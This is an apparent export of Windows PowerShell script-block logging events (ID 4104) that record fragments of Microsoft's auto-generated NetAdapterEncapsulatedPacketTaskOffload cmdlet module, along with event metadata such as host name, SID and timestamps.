$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterEncapsulatedPacketTaskOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterEncapsulatedPacketTaskOffload' -Alias '*'
ScriptBlock ID: cada95ef-6f70-418d-b191-218c44432664
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1849 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-a128-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
ization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterEncapsulatedPacketTaskOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterEncapsulatedPacketTaskOffload' -Alias '*'
function Enable-NetAdapterEncapsulatedPacketTaskOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType]
${EncapsulationType},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('EncapsulationType')) {
[object]$__cmdletization_value = ${EncapsulationType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EncapsulationType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'EncapsulationType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterEncapsulatedPacketTaskOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterEncapsulatedPacketTaskOffload' -Alias '*'
function Disable-NetAdapterEncapsulatedPacketTaskOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterEncapsulatedPacketTaskOffload.EncapsulationType]
${EncapsulationType},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @
ScriptBlock ID: cada95ef-6f70-418d-b191-218c44432664
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1848 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-a128-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterEncapsulatedPacketTaskOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterEncapsulatedPacketTaskOffload.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterEncapsulatedPacketTaskOffload' -Alias '*'
function Set-NetAdapterEncapsulatedPacketTaskOffload
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterEncapsulatedPacketTaskOffloadSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${NvgreEncapsulatedPacketTaskOffloadEnabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[bool]
${VxlanEncapsulatedPacketTaskOffloadEnabled},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateRange(1, 65535)]
[uint16]
${VxlanUDPPortNumber},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NvgreEncapsulatedPacketTaskOffloadEnabled')) {
[object]$__cmdletization_value = ${NvgreEncapsulatedPacketTaskOffloadEnabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NvgreEncapsulatedPacketTaskOffloadEnabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NvgreEncapsulatedPacketTaskOffloadEnabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('VxlanEncapsulatedPacketTaskOffloadEnabled')) {
[object]$__cmdletization_value = ${VxlanEncapsulatedPacketTaskOffloadEnabled}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VxlanEncapsulatedPacketTaskOffloadEnabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VxlanEncapsulatedPacketTaskOffloadEnabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('VxlanUDPPortNumber')) {
[object]$__cmdletization_value = ${VxlanUDPPortNumber}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VxlanUDPPortNumber'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VxlanUDPPortNumber'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdlet
ScriptBlock ID: cada95ef-6f70-418d-b191-218c44432664
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1847 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-a128-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 5):
etization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TcpIPv4')) {
[object]$__cmdletization_value = ${TcpIPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TcpIPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
